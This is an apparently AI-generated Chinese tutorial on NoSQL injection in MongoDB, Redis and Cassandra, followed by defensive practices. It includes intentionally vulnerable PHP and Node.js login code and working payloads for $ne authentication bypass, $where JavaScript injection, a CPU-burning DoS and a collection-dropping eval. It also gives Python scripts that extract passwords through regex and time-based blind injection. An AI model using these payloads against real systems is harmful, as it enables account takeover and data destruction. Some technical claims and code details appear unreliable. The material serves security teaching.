好的,根据您提供的链接内容,我将提取其中关于NoSQL注入的知识,为您生成一篇详尽的教学文档。
NoSQL注入全面详解:从原理到防御
一、NoSQL与MongoDB基础概念
1. NoSQL定义
NoSQL(Not Only SQL)是一种非关系型数据库范式,强调非结构化数据存储,区别于传统RDBMS的严格模式。它适用于大数据、高并发场景,如社交媒体和实时分析。2009年后快速发展,支持水平扩展和最终一致性。
2. MongoDB概述
MongoDB是基于C++的分布式文档数据库,数据以BSON(Binary JSON)格式存储,支持嵌套文档和数组。核心优势包括动态模式和内置分片。
示例文档:
{
"_id": ObjectId("60fa854cf8aaaf4f21049148"),
"name": "whoami",
"description": "the admin user",
"age": 19,
"status": "A",
"groups": ["admins", "users"]
}
3. 核心概念对比(RDBMS vs MongoDB)
| SQL 概念 | MongoDB 概念 | 说明 |
|---|---|---|
| database | database | 数据库 |
| table | collection | 集合(类似表) |
| row | document | 文档(类似行) |
| column | field | 字段 |
| index | index | 索引 |
| table joins | 无 | MongoDB不支持表连接,使用嵌入或引用 |
| primary key | _id | 主键,自动生成ObjectId |
二、MongoDB基础操作语法
1. 数据库操作
use DATABASE_NAME // 创建或切换数据库
show dbs // 查看所有数据库
db // 查看当前数据库
> use users
switched to db users
> db
users
2. 集合操作
db.createCollection(name, options) // 创建集合
show collections // 查看集合
> db.createCollection("all_users")
{ "ok" : 1 }
> show collections
all_users
3. 文档操作
插入文档
db.all_users.insert({
name: 'whoami',
description: 'the admin user',
age: 19,
status: 'A',
groups: ['admins', 'users']
})
更新文档
update():更新匹配文档
db.all_users.update(
{'age': 19},
{$set: {'age': 20}},
{multi: true} // 更新多条
)
save():基于_id更新或插入
db.all_users.save({
"_id": ObjectId("60fa854cf8aaaf4f21049148"),
"age": 21,
// ...
})
查询文档
db.all_users.find({"age": 20}).pretty()
4. 查询条件操作符
| 操作 | MongoDB语法 | 示例 |
|---|---|---|
| 等于 | {"key": "value"} |
{"name": "whoami"} |
| 小于 | {"key": {"$lt": value}} |
{"age": {"$lt": 19}} |
| 小于等于 | {"key": {"$lte": value}} |
{"age": {"$lte": 19}} |
| 大于 | {"key": {"$gt": value}} |
{"age": {"$gt": 19}} |
| 大于等于 | {"key": {"$gte": value}} |
{"age": {"$gte": 19}} |
| 不等于 | {"key": {"$ne": value}} |
{"age": {"$ne": 19}} |
5. 逻辑查询
AND查询(逗号分隔)
db.all_users.find({"status": "B", "age": 20})
OR查询($or数组)
db.all_users.find({
$or: [
{"status": "A"},
{"age": 19}
]
})
AND与OR组合
db.all_users.find({
"age": {"$gt": 19},
$or: [{"name": "whoami"}, {"status": "A"}]
})
三、NoSQL注入原理与分类
1. 注入定义
NoSQL注入利用未过滤输入修改查询,与SQL注入不同,它依赖应用层语言(如PHP、Node.js)构建查询,可能影响业务逻辑。常见于认证、搜索场景。
2. 注入分类
- 按语言:PHP数组注入、JavaScript注入、Mongo Shell拼接
- 按机制:
- 重言式(Tautology):构造永真条件绕过认证
- 联合查询(Union-Based):追加数据返回
- JavaScript注入:通过$where或eval执行代码
- 盲注(Blind):无回显,利用布尔、时间或错误推断
- 错误基(Error-Based):利用查询错误泄露信息
四、PHP中的MongoDB注入
测试环境搭建
测试数据:
use test
db.createCollection('users')
db.users.insert({username: 'admin', password: '123456'})
db.users.insert({username: 'whoami', password: '657260'})
易受攻击代码(index.php):
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
注入方式
1. 重言式注入
Payload:
username[$ne]=1&password[$ne]=1
解析后查询:
db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
返回所有用户。其他操作符:$gt、$gte等。
2. 联合查询注入
Payload:
username=admin', $or: [ {}, {'a': 'a'}], $comment: '123456&password=
查询:
{ username: 'admin', $or: [ {}, {'a':'a'}], $comment: '123456' }
忽略密码。注意:现代驱动限制字符串拼接,此为概念演示。
3. JavaScript注入
$where操作符注入
易受攻击代码:
$function = "
function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}";
$query = new MongoDB\Driver\Query(array('$where' => $function));
Payload(MongoDB 2.4前):
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
获取集合名。
Payload(2.4后):
username=1&password=1';return true//
绕过认证。
DOS Payload:
username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
CPU占用5秒。
eval命令注入
$cmd = new MongoDB\Driver\Command([
'eval' => "print('Hello, $username!');"
]);
Payload:
username=1'});db.users.drop();db.users.find({'username':'1
删除集合。
五、盲注技术
1. 布尔盲注(Boolean-Based)
利用$regex判断真假,无回显时推断数据。
提取密码长度:
username=admin&password[$regex]=.{6} → 成功(长度6)
username=admin&password[$regex]=.{7} → 失败
逐字符提取:
username=admin&password[$regex]=^123456
Python自动化脚本:
import requests
import string
password = ''
url = 'http://127.0.0.1/index.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
r = requests.post(url=url, data=post_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c
break
if len(password) == 6: # 假设长度
break
2. 时间盲注(Time-Based)
当布尔盲注不可用时,利用查询延迟推断。
原理: 注入导致查询执行时间异常长(如sleep 5秒),通过响应时间判断条件真假。
Payload示例:
username=admin&password[$where]=sleep(5000)
或更精确:
password[$where]=function(){sleep(1000); return true;}
Python自动化脚本:
import requests
import time
def check_char(pos, char):
payload = {
"username": "admin",
"password": f"this.password.charAt({pos}) == '{char}' ? sleep(3000) : false"
}
start = time.time()
r = requests.post(url, data=payload)
elapsed = time.time() - start
return elapsed > 2 # 阈值
# 逐位提取
password = ''
for pos in range(1, 7):
for char in 'abcdefghijklmnopqrstuvwxyz0123456789':
if check_char(pos-1, char):
password += char
break
3. 错误基注入(Error-Based)
利用查询错误消息泄露数据库信息,如字段名或数据类型。
原理: 注入无效操作符导致MongoDB抛出详细错误,包含敏感数据。
Payload示例:
username[$invalid]=1&password=1
错误:Unrecognized field "invalid"或泄露集合结构。
六、Node.js中的MongoDB注入
环境搭建
使用Mongoose模块。
易受攻击代码(server.js):
var mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/test');
var UserSchema = new mongoose.Schema({
name: String,
username: String,
password: String
});
var User = mongoose.model('users', UserSchema);
app.post('/', function(req, res) {
User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
if (!user) {
return res.render('index.jade', {message: 'Login Failed'});
}
return res.render('index.jade', {message: 'Welcome back ' + user.name + '!'});
});
});
重言式注入
Payload:
{"username":{"$ne":1},"password": {"$ne":1}}
绕过认证。
绕过过滤(Unicode编码)
Payload:
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
等价$ne。
高级利用实验
实验步骤:
- 提交
'字符测试过滤 - 提交有效JavaScript payload:
wiener'+' - 测试真假条件:
- 假条件:
wiener' && '1'=='2 - 真条件:
wiener' && '1'=='1
- 假条件:
- 推断密码长度:
administrator' && this.password.length < 30 || 'a'=='b - 使用Intruder爆破具体字符
Mongoose安全更新
Mongoose 8.x(2025标准)通过Schema验证和lean()查询增强防护,自动转义$前缀键。避免find()直接用用户输入;使用query.sanitizeFilter()。
七、其他NoSQL数据库注入
1. Redis注入
Redis使用字符串命令如GET、SET,注入常见于管道或Lua脚本。
漏洞: 未转义输入覆盖键。
Payload: 在搜索中注入SET key "malicious"。
示例: Node.js中redis.get(userInput)可注入foo|SET hacked "data"。
防护: 使用参数化命令。
2. Cassandra注入
Cassandra的CQL类似SQL,支持注入如UNION SELECT。
漏洞: 动态CQL字符串拼接。
Payload: username=admin' OR '1'='1绕过认证。
八、NoSQL注入防御最佳实践
| 实践 | 工具/方法 | 益处 |
|---|---|---|
| 输入验证与消毒 | mongo-sanitize | 移除恶意操作符 |
| 参数化查询 | Mongoose .find({}) | 防止动态注入 |
| 转义特殊字符 | 正则替换 | 防止JS注入 |
| 最小权限原则 | 数据库用户权限控制 | 限制访问范围 |
| WAF与监控 | ModSecurity, MongoDB Profiler | 检测异常查询 |
| Schema验证 | Mongoose Schema | 强制类型检查 |
| 更新依赖 | 定期升级 | 修复已知漏洞 |
| 网络安全 | TLS + IP绑定 | 防止暴露 |
九、NoSQL注入工具与2025最新漏洞
工具
- NoSQLMap:自动化MongoDB/Redis注入
- nosqli:盲注测试
- NoSQLAttack:多数据库支持
2025常见漏洞
- CVE-2025-23061:Mongoose搜索RCE
- 零日趋势:盲注占比30%,针对云NoSQL如Atlas
结论
NoSQL注入虽灵活,但通过严格验证和参数化可有效防护。开发者应定期审计代码,关注CVE更新。结合基础知识与高级技术,本文提供从攻击到防护的全链路视角,推动安全开发实践。
关键要点总结:
- NoSQL注入利用查询构建机制而非SQL语法
- 重言式注入是最常见的攻击方式
- 盲注技术在无回显场景下依然有效
- 防御需要多层次策略:输入验证、参数化查询、最小权限
- 保持依赖库更新是防护已知漏洞的关键